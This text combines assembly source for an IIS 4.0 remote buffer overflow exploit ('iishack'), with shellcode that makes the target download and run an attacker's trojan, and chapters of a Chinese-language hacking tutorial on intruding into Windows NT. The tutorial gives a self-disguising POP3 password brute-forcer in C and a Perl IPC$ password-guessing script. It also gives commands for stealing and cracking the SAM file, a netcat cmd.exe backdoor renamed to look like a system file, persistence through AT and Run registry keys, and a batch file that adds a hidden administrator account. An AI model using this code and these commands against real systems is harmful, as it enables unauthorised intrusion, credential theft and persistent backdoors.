db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h
db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah
db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h
db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh
db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h
db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h
db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch
db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh
db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h
db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h
db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h
db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h
db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h
db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h
db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh
db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h
db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h
db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h
db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h
db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h
_url2 db 85 dup (021h)
db ".htr HTTP/1.0"
db 00dh,00ah, 00dh, 00ah

logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10
db "(c) dark spyrit -- [email protected].",13,10
db "http://www.eEye.com",13,10,13,10
db "[usage: iishack < host> < port> < url>]", 13, 10
db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10
db "do not include 'http://' before hosts!",13,10
db "-------------------------------------------------------------------------------", 13, 10, 0
logolen equ $-logo

u_length db 10,"No more than 70 chars in 2nd url.",13,10,0
u_lengthl equ $-u_length

errorinit db 10,"Error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit

nohost db 10,"No host or IP specified.", 13,10,0
nohostl equ $-nohost

noport db 10,"No port specified.",13,10,0
noportl equ $-noport

no_url db 10,"No URL specified.",13,10,0
no_urll equ $-no_url

urlinv db 10,"Invalid URL.. no file specified?",13,10,0
urlinvl equ $-urlinv

reshost db 10,"Error resolving host.",13,10,0
reshostl equ $-reshost

sockerr db 10,"Error creating socket.",13,10,0
sockerrl equ $-sockerr

ipill db 10,"IP error.",13,10,0
ipilll equ $-ipill

porterr db 10,"Invalid port.",13,10,0
porterrl equ $-porterr

cnerror db 10,"Error establishing connection.",13,10,0
cnerrorl equ $-cnerror

success db 10,"Data sent!",13,10,0
successl equ $-success

console_in dd ?
console_out dd ?
bytes_read dd ?

wsadescription_len equ 256
wsasys_status_len equ 128

WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends

sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends

wsadata WSAdata < ?>
sin sockaddr_in < ?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_url db 256 dup (?)
stuff db 042h, 068h, 066h, 075h, 041h, 050h

.code
start:

call init_console
push logolen
push offset logo
call write_console

call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_urll
push offset no_url
call write_console
jmp quit3

@@3:
push ecx
lea edi, _url
call parse
pop ecx
cmp ecx, 71
jb length_ok
push u_lengthl
push offset u_length
call write_console
jmp quit3

length_ok:

mov esi, offset _url
mov edi, offset _url2
@@10:
xor al, al
lodsb
cmp al, 02fh
jz whaq
test al, al
jz @@20
add al, 021h
stosb
jmp @@10
@@20:
push urlinvl
push offset urlinv
call write_console
jmp quit3


whaq:
push esi
lea esi, stuff
lodsw
stosw
lodsd
stosd
pop esi
fileget:
xor al, al
lodsb
test al, al
jz getdone
add al, 021h
stosb
jmp fileget
getdone:

push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found

push errorinitl
push offset errorinit
call write_console
jmp quit3

winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok

push sockerrl
push offset sockerr
call write_console
jmp quit2

socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov esi, offset _port
lewp1:
xor al, al
lodsb
test al, al
jz go
cmp al, 039h
ja port_error
cmp al, 030h
jb port_error
jmp lewp1

port_error:
push porterrl
push offset porterr
call write_console
jmp quit1

go:

mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax

mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1

ip_aight:
mov sin.sin_addr, eax
jmp continue

gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost

push reshostl
push offset reshost
call write_console
jmp quit1

gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax

continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1

connect_ok:

xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console

quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing.. hell.. its only an exploit.

lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp

str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2

end_it:
pop edi ecx eax
ret
endp

init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp

write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp

end start


第十一章 攻击的一般步骤和实例
从理论上将没有一个系统是绝对安全的,除非这个系统没有和外界有任何的联系,没有输入,也没有输出。
所有的攻击是建立在上面的这条大原理下的。只要系统和外界有交互,那就能攻击进去。如果存在系统漏洞的话,攻击变得更加简单。
下面讲一下攻击的大致步骤和所用到的技术。
首先确认攻击目标。这里的主要任务是收集有关要攻击目标的有用的信息。这些信息包括目标计算机的硬件信息,运行的操作系统信息,运行的应用程序(服务)的信息,目标计算机所在网络的信息,目标计算机的用户信息,存在的漏洞等等。
这里用到的工具是端口扫描器,一些常用的网络命令。在这一步的主要目的是得到尽可能多的信息,为下一步入侵作好准备。
下一步就是选用合适的方法入侵。
这里主要是两种方法,通过发现目标计算机的漏洞进入系统,或者是利用口令猜测进入系统。
利用口令猜测就是试图重复登录,直到找到一个合法的登录为止。往往这种方法会耗大量的时间,而且,每次登录,不管是否成功都会在目标计算机上留下记录。会引起注意。
另一个就是利用和发现目标计算机的漏洞,直接顺利进入。
发现目标计算机漏洞的方法用得最多的就是缓冲区溢出法。通过这个方法,使得目标计算机以最高级别的权限来运行攻击者设定的后门程序,从而进入系统。
发现系统漏洞的第二个方法就是平时参加一些网络安全列表。全球的有关网络安全列表里经常有最新发现的系统或应用程序的漏洞的公告。然后根据第一步扫描系统是得到的信息来看看是否有漏洞可以利用。
还有一些入侵的方法是采用想IP地址欺骗等手段。它的原理就是通过各种欺骗手段,取得目标计算机的信任,从而可以进入目标计算机。
在入侵了计算机之后,剩下的工作是留下后门,删除入侵记录,继续收集有用的信息。
在侵入目标计算机后留下后门的目的是为以后进入该系统提供方便。后门一般都是一个特洛伊木马程序。它在系统运行的同时运行,而且能在系统以后的重启动时自动运行这个程序。
删除入侵记录是把在入侵系统时的各种登录信息都删除。以防被目标系统的管理员发现。继续收集信息应该是入侵系统的目的。采取的手法很多,比如通过sniffer程序来收集目标系统网络的重要数据。还可以通过后门,既一个特洛伊木马程序收集信息,比如发送一个文件拷贝命令,把目标计算机上的有用文件拷贝过来。
由于入侵的目标计算机可能运行的操作系统,应用程序很多,因此,没有一种固定的入侵方法。这往往要求攻击者具有丰富的计算机和网络方面的知识。特别是需要网络编程方面的知识和操作系统高级编程知识。只要知道一些网络安全技术方面的基础知识,在加上上面的这些编程知识,根据不同的操作系统,就能成功地实施对目标计算机系统的攻击了。

前面几章我们介绍了网络安全方面的基本知识和一些应用实例。下面对上面攻击步骤的介绍做一个具体的讲解。
这里举的例子中用到的方法可能已经过时,而且正如上面所述,并不是所有系统都必须用这个方法进行攻击的。
假设攻击者找到了要攻击的目标计算机(这里介绍的方法最适于对对内部的计算机进行攻击)。在端口扫描(包括手工和自动)后,发现目标计算机的POP3端口允许多次登录,而不被拒绝。这就是一个可以利用的地方。即可以使用一个程序来对username和password进行猜测。如果攻击者是个懂编写程序的人,那他就可以用一个程序来完成自动猜测。这就是为什么要懂计算机语言和操作系统等基本原理。这里,攻击者用的是Linux操作系统。在Windows下也可以同样进行。

/* : After recently installing POP3d on a machine, I played around with it a
: bit and came to a few conclusions:
: 1) It allows for multiple username/password guesses
: 2) There is no logging option for basd user/pass guesses.

: This seems like something just begging to be brute force hacked.
: Any comments? */

#include < stdio.h>
#include < string.h>
#include < signal.h>
#include < unistd.h>
#include < sys/param.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < netdb.h>
#include < stdarg.h>

/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT 110

/* What we want our program to be masked as, so nosy sysadmins dont kill us */
#define MASKAS "vi"

/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT 0

/* The function prototypes */
void nuke_string(char *);
int pop_connect(char *);
int pop_guess(char *, char *);
char *getanswer(char *);
char *getanswer_(char *);
void swallow_welcome(void);
void hackity_hack(void);

int popfd;
FILE *popfp;

FILE *userfile;
FILE *dictfile;

char host[255];
char dict[255];
char user[255];

main(int argc, char **argv)
{
if(argc < 4)
{
/* invalid syntax, display syntax and exit */
printf("Syntax: %s host userfile dictfile/n", argv[0]);
exit(0);
}

/* Validate that the host exists */
if(pop_connect(argv[1]) == -1)
{
/* Error */
printf("Error connecting to host %s/n", argv[1]);
exit(0);
}
printf("Connected to: %s/n/n", argv[1]);

/* Check for the existance of the user file */
userfile=fopen(argv[2], "rt");
if(userfile==NULL)
{
/* Error */
printf("Error opening userfile %s/n", argv[2]);
exit(0);
}
fclose(userfile);

/* Checking for the existance of dict file */
dictfile=fopen(argv[3], "rt");
if(dictfile==NULL)
{
/* Error */
printf("Error opening dictfile %s/n", argv[3]);
exit(0);
}
fclose(dictfile);

/* Copy important arguments to variables */
strcpy(host, argv[1]);
strcpy(user, argv[2]);
strcpy(dict, argv[3]);

nuke_string(argv[0]);
nuke_string(argv[1]);
nuke_string(argv[2]);
nuke_string(argv[3]);
strcpy(argv[0], MASKAS);

swallow_welcome();
hackity_hack();
}


void nuke_string(char *targetstring)
{
char *mystring=targetstring;

while(*targetstring != '/0')
{
*targetstring=' ';
targetstring++;
}
*mystring='/0';
}


int pop_connect(char *pophost)
{
int popsocket;
struct sockaddr_in sin;
struct hostent *hp;

hp=gethostbyname(pophost);
if(hp==NULL) return -1;

bzero((char *)&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(POP3_PORT);
popsocket=socket(AF_INET, SOCK_STREAM, 0);
if(popsocket==-1) return -1;
if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
popfd=popsocket;
return popsocket;
}
int pop_guess(char *username, char *password)
{
char buff[512];

sprintf(buff, "USER %s/n", username);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);

sprintf(buff, "PASS %s/n", password);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);
if(strstr(buff, "+OK") != NULL)
{
printf("USERNAME: %s/nPASSWORD: %s/n/n", username, password);
return 0;
}
else return -1;
}

char *getanswer(char *buff)
{
for(;
{
getanswer_(buff);
if(strstr(buff, "+OK") != NULL) return buff;
if(strstr(buff, "-ERR") != NULL) return buff;
}
}

char *getanswer_(char *buff)
{
int ch;
char *in=buff;

for(;
{
ch=getc(popfp);
if(ch == '/r');
if(ch == '/n')
{
*in='/0';
return buff;
}
else
{
*in=(char)ch;
in++;
}
}
}
void swallow_welcome(void)
{
char b[100];
popfp=fdopen(popfd, "rt");
getanswer(b);
}


void hackity_hack(void)
{
char *un;
char *pw;
char *c;
int found=0;

un=(char *)malloc(512);
pw=(char *)malloc(512);
if(un==NULL || pw==NULL) return;

userfile=fopen(user, "rt");
dictfile=fopen(dict, "rt");
if(userfile == NULL || dictfile == NULL) return;

for(;
{
while(fgets(un, 50, userfile) != NULL)
{
found=0;
c=strchr(un, 10);
if(c != NULL) *c=0;

c=strchr(un, 13);
if(c != NULL) *c=0;

while(fgets(pw, 50, dictfile) != NULL && found==0)
{
c=strchr(pw, 10);
if(c != NULL) *c=0;

c=strchr(pw, 13);
if(c != NULL) *c=0;

if(strlen(pw) > 2 && strlen(un) > 2)
if(pop_guess(un, pw)==0)
{
found=1;
fclose(popfp);
close(popfd);
if(RECONNECT==0)
{
free(pw);
free(un);
fclose(userfile);
fclose(dictfile);
exit(0);
}
pop_connect(host);
swallow_welcome();
}
}
fclose(dictfile);
dictfile=fopen(dict, "rt");
}
fclose(dictfile);
fclose(userfile);
free(un);
free(pw);
exit(0);
}
}
这个程序的运行结果就是猜测到许多用户的口令。一般用户使用的用户名和口令和他在登录系统时的是一样的。如果系统的共享资源的访问也需要口令的话,一般上面搞到的口令中的某一个就是的。
如果我们知道目标计算机上运行的服务及其所用的软件的话,还可以用查找缓冲器漏洞的办法来侵入。具体的例子见《缓冲区溢出攻击》中的介绍。远程攻击的最佳方法是利用缓冲区溢出。
  下一章我们介绍怎样入侵Windows NT系统。

第十二章 入侵Windows NT
如果要防范从远程对你的Windows NT的入侵,最好的办法还是研究一下入侵的基本方法。只有做到“知己知彼”,才能更好地防范入侵。
第一节 通过NetBIOS入侵
所有的入侵都涉及到以root或admin权限登录到某一计算机或网络。入侵的第一步往往是对目标计算机或的端口扫描(portscan)。建立在目标计算机开放端口上的攻击是相当有效的。NT机器的端口信息的显示和UNIX的不同。因此,一般能区分出目标计算机所运行的是哪个操作系统。

攻击NT为基础的网络时,NetBIOS是首选的进攻点。

使用端口扫描软件,比如Sam,看看目标计算机的端口139是否打开。139端口是"NetBIOS session"端口,用来进行文件和打印共享的,是NT潜在的危险。注意:运行SAMBA的Linux和UNIX系统的139端口也是打开的,提供类似的文件共享。找到了这样的目标计算机后,接下来是使用"nbtstat"命令。
NBTSTAT命令是用来询问有关NetBIOS的信息的,也能清除NetBIOS 缓冲区能的内容和将LMHOSTS文件预先装入其中。通过运行这一命令能得到许多有用信息。

NBTSTAT命令解释:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]开关: -a 列出给定主机名的远程计算机的名字表(name table) -A 列出给定IP地址的远程计算机的名字表 -c 列出远程名字缓冲区(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通过广播(broadcast)和WINS解析的名字
-R 清除和重新装入远程的缓冲的名字表
-S 列出和目标IP地址会话的表
-s 列出会话表转换

NBTSTAT命令的输出的每一栏都有不同的含义,它们的标题有下面几个,含义也在下面做了相应的解释:

Input
接收到的字节数。
Output
发送的字节数。
In/Out 这个连接是来自该计算机(outbound)还是来自另外的系统(inbound)。
Life
在你的计算机清除名字表之前存在时间。
Local Name
连接时本地的名字。
Remote Host
远程计算机的名字或IP地址。
Type
一个名字可以有两种类型: unique 或group。
NetBIOS名字的最后16个字符经常代表一些内容。因为同样的名字可以在同一计算机出现几次。 该类型表示名字的最后一个字节(用16进制表示)。
State
你的NetBIOS连接将是下面几个状态之一:

State MeaningAccepting 正在处理一个进入的连接Associated 一个连接的端点已经建立,你的计算机与它以一个IP地址相关Connected 你已经联系到了远程资源。Connecting 你的会话正试图对目标资源进行名字到IP地址的解析Disconnected 你的计算机发出一个断开请求,正在等待远程计算机的响应Disconnecting 正在结束你的连接
Idle 远程计算机在当前会话已经打开,但目前不接受连接
Inbound 一个inbound会话正试图连接
Listening 远程计算机可以使用了
Outbound 你的会话正在建立一个TCP 连接
Reconnecting 如果第一次失败,它会在重新连接时显示这一信息下面是一个NBTSTAT命令的实例:

C:/>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table

Name Type Status
----------------------------------------------------------------------
DATARAT < 00> UNIQUE Registered
R9LABS < 00> GROUP Registered
DATARAT < 20> UNIQUE Registered
DATARAT < 03> UNIQUE Registered
GHOST < 03> UNIQUE Registered
DATARAT < 01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

上面的输出是什么意思呢?尤其是Type这一栏,代表的是什么呢。再看看下面的表,它能告诉你什么?
Name Number Type Usage=====================================================< computername> 00 U Workstation Service< computername> 01 U Messenger Service< //_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
< computername> 20 U File Server Service
< computername> 21 U RAS Client Service
< computername> 22 U Exchange Interchange
< computername> 23 U Exchange Store
< computername> 24 U Exchange Directory
< computername> 30 U Modem Sharing Server Service
< computername> 31 U Modem Sharing Client Service
< computername> 43 U SMS Client Remote Control
< computername> 44 U SMS Admin Remote Control Tool
< computername> 45 U SMS Client Remote Chat
< computername> 46 U SMS Client Remote Transfer
< computername> 4C U DEC Pathworks TCPIP Service
< computername> 52 U DEC Pathworks TCPIP Service
< computername> 87 U Exchange MTA
< computername> 6A U Exchange IMC
< computername> BE U Network Monitor Agent
< computername> BF U Network Monitor Apps
< username> 03 U Messenger Service
< domain> 00 G Domain Name
< domain> 1B U Domain Master Browser
< domain> 1C G Domain Controllers
< domain> 1D U Master Browser
< domain> 1E G Browser Service Elections
< INet~Services> 1C G Internet Information Server
< IS~Computer_name> 00 U Internet Information Server
< computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): 名字(name )可能只分配了一个IP地址。在一个网络设备上,多次出现一个名字已经被注册,但后缀是唯一的,从而整个条目就是唯一的。
Group (G): 普通的组(group),同一个名字可能存在多个IP地址。Multihomed (M): 名字(name)是唯一的,但由于在同一计算机上有多个网络接口,这个配置在允许注册时是必须的。地址的数目最多25个。Internet Group (I): 这是组名字的一个特殊配置,用于WinNT的域名的管理。Domain Name (D): NT 4.0里新增的。

这个表是对NBTSTAT输出中Type的解释。通过详细分析NBTSTAT命令的输出,就能收集到目标计算机的许多信息。通过分析,就能发现目标计算机正在运行什么服务,甚至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程计算机收集可能的用户名。一个网络登录分成两个部分:用户名和口令。一旦一个入侵者知道了用户名,他就等于成功了一半。

通过分析NBTSTAT的命令输出,入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里,类型(Type)为< 03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。

IPC$(Inter-Process Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来,通过使用空的IPC会话进行攻击。

有一个一个比较好的IPC会话工具:RedButton。 它是个很灵巧的程序,能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序,将看到任何可能的共享,包括任何隐藏的admin共享(ie, shares以"$"结束。默认的,有几个这样的可以得到的共享...C$,WINNT$,IPC$等等)。

注意:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interprocess communications"。IPC$共享提供了登录到系统的能力。注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

入侵者使用下面的命令对IPC$实施攻击:
c:/>net use //[目标机器的IP地址]/ipc$ /user:< name> < passwd>

当这个连接建立后,要将username和password送去加以确认。如果你以"Administrator"登录,则需要进行口令猜测。

可以重复使用'net'命令,进行username和password猜测:
c:/>net use //xxx.xxx.xxx.xxx/ipc$ /user:< name> < passwd>

也可以使用脚本语句:
open(IPC, "net use //xxx.xxx.xxx.xxx/ipc$ /user:< name> < passwd> | ");

NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令,进行重复登录,从而获取帐号。当然,可以编写一个脚本来实现NAT的功能。

Perl是一种很好的语言,是解释性的,如Java,但运行速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也已经推出。

下面这个脚本程序可以用来进行帐号和口令猜测。

----- begin script -----
# ipcchk.plx
# 该脚本从一个文本文件读入单词,并将该单词作为用户名和口令,进行
# IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的
# 有效性,因此必须输入目标机器的合法的IP地址。
#
# 用法: c:/>perl ipcchk.plx [目标机器的IP地址]

open(TEST, "names.txt") || die "Could not open file.";
open(LOG,">>ipc.log") || die "Could not open log.";

if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}

$server = ARGV[0];

while(< TEST>) {

$name = $_;
chop($name);
# print "net use $server//ipc/$ /user:Administrator $name | /n";
open(IPC, "net use $server//ipc/$ /user:Administrator $name | ");

while(< IPC>) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name/n";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use $server//ipc/$ /d | ");
}
}
----- end script -----

当然,你只要知道原理,可以用C语言或BASIC语言,编写一个具有上述功能的程序。

一旦进入,就不仅仅是能够收集用户名了。还能做许多其他事情。

接下来,入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令:
c:/>net view //[目标计算机的IP地址]
根据目标计算机的安全策略,这个命令有可能被拒绝。看看下面的例子:

C:/>net view //0.0.0.0System error 5 has occurred.Access is denied.
C:/>net use //0.0.0.0/ipc$ "" /user:""The command completed successfully.C:/>net view //0.0.0.0
Shared resources at //0.0.0.0

Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk

该命令顺利地完成了。

从上面的例子可见,直到空IPC会话成功建立后,服务器的共享资源列表才能访问到。在此时,你可能会想到,这样的IPC连接会有多危险呢,但目前为止我们的有关IPC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。

如果有其它共享资源,可以用net命令进行连接。
c:/>net use x: //[ipaddr]/[share]

如果不行,用上述进行的攻击方法。

一旦IPC$共享顺利完成,下一个命令是:
c:/>net use g: //xxx.xxx.xxx.xxx/c$

得到了C$共享,并将该目录映射到g:,键入:
c:/>dir g: /p

就能显示这个目录的所有内容。

成功地进行了IPC$连接后,点击Start -> Run,键入regedit。选择Registry -> Connect Network Registry,再键入那台机器的IP地址。不一会,就能看目标计算机的的Registry了。


第二节 口令破解
如果入侵者进入了一个系统,他就可以干好几件事,比如进行密码破解。下面看一下在NT系统下是如何进行的。NT将用户的口令放在SAM(Security Accounts Manager)文件中,但通常不能对这个文件进行存取。

不过,在c:/winnt/repair目录下,有一个文件叫做SAM._。这是SAM数据库的压缩版本。它是在系统安装时建立的,用rdisk工具运行更新。普通用户有读它的权限。一旦入侵者能和目标计算机进行C$共享连接,他就能拷贝到这个文件:

c:/>copy g:/winnt/repair/sam._

下面做个实验。先用User Manager创建几个容易猜的口令的帐号,并运行:

c:/>rdisk /s

作完之后,进入c:/winnt/repair目录,将SAM._拷贝到另一个目录。并键入:
c:/temp>expand SAM._ sam

然后,使用一个叫SAMDump的工具。SAMDump会将这个文件转换成你能使用的格式。

c:/temp>samdump sam > samfile

接下来就可以运行口令NT密码破解器,如l0phtcrack或NTCrack 。只要有足够的时间,刚才创建的几个口令就会被破解出来。

一旦闯进了目标系统,入侵者就能在这台计算机上留后门,以便日后进入。

第三节 后门
入侵者在闯入目标计算机后,往往会留后门,以便日后再方便地回到目标计算机上。

netcat是一个命令行工具,有几个运行开关,用来设置它的操作。如果设置得好的话,是不错的一个后门的选择。

可以配置成批处理文件。
nc -L -d -p [port] -t -e cmd.exe

L 让netcat在当前会话结束后保持侦听
d 运行时不打开一个windows的DOS窗口
p 捆绑的端口
t 允许telnet交互
e 连接后的操作

将这个命令行拷贝到一个文件,命名为runnc.bat。然后,将netcat和这个文件拷贝到目标计算机PATH变量中的任何一个目录中。比如c:/winnt/system32/。

另外一个小技巧是重新命名netcat(nc.exe)为其它的名字,看上去让人以为这是NT自身的文件,比如winlog.exe,在runnc.bat中只需做相应改动即可。

一旦这个批处理文件运行了,也就是说,netcat程序在目标计算机上运行后,netcat会在某一个端口侦听。入侵者就可以通过Telnet进行连接,从而通过执行cmd.exe,就能在远程运行目标计算机上的命令了。

或者使用客户状态模式的netcat:
c:/>nc -v [ipaddress of target] [port]

如果是在目标计算机上的NT没有运行telnet服务器,可以使用另一个更好的服务,叫做Schedule (或AT)服务,用于计划以后运行程序的时间。怎样知道是否已经运行了AT服务器了?在控制面板的服务(Control Panel -> Services)里找找,看看它的运行状态。

如果安装了Perl,可以运行下面这个脚本。

----- begin script -----
# atchk.plx
# 该脚本用来检查本地服务器是否正在运行AT服务。如果没有,启动
# 这个服务。对这个脚本做写小改动,就可以应用到对远程计算机的检
# 查。只要已经成功建立了IPC$连接并有administrator权限即可。
#
# 用法: perl atchck.plx

use Win32::Service;
use Win32;
my %status;

Win32::Service::GetStatus('','Schedule', /%status);
die "service is arealdy started/n" if ($status{CurrentState} == 4);

Win32::Service::StartService(Win32::NodeName( ),'Schedule') || die
"Can't start service/n";

print "Service started/n";
#**Note: This script was modified from:
#http://www.inforoute.cgs.fr/leberre1/perlser.htm
----- end script -----

入侵者只要拥有管理员级权限,就能运行AT命令。运行AT服务后,可以通过AT命令来执行一些操作。

AT的语法:
AT [//computername] [time] "command"

比如:
AT [//computername] [time] runnc.bat

可以在目标计算机的NT系统的注册表的以下registry主键中设置相关的键值,从而在用户登录后能自动运行键值所指向的程序。。
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunServices
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run

还可以使用NT命令创建一个新的用户帐号,并将它设置为管理员级别的权限。如下面的批处理文件所示。

----- begin batch file -----
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
----- end batch file -----

还有就是运行一些特洛伊程序,给入侵者留后门。有一个叫Netbus程序。它的功能与Back Orifice类似,不过可以在NT运行。一旦入侵者使用了这个程序后,就可以在任何时候,任何地点,对这台目标计算机进行几乎是随心所欲的操作。

第四节 本地攻击
以上讲的是外部入侵者对目标计算机进行的攻击。其实,攻击往往可以是来自内部的。如果入侵者有本地NT计算机的使用权限,即使是一个普通权限的用户,都可以用一些工具来攻击本地的机器,从而得到一定收获。比如提高自己的权限,越权使用本地机器的资源等等。

一个比较常用的工具是getadmin。这个工具由一个可运行文件和一个.dll文件组成。通过运行,能将用户加到Administrator组。微软已经有了对这个缺陷的补丁程序。

另一个类似的是sechole.exe,运行后,增加了一个有管理员权限的用户。这些程序都只需在普通权限下运行。

还有一个技巧是进行注册表设置,设置使用哪个默认的调试器debugger。在一个用户模式的程序冲突时,这个调试器就会运行。通常的设置是:
Key: HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/AeDebug
value: Debugger
Data Type: REG_SZ
Default value: drwtsn32 -p %ld -e %ld -g

所有的人都有权限来设置这个值,从而给入侵者一个机会。调式器在冲突的程序的安全上下文中运行。因此,所有你要做的就是改变默认值,用来指向User Manager,然后让其中的一个服务冲突。这就取得了User Manager运行权。随后,入侵者就能增减帐号了。

用rdisk /s命令用来备份注册表。

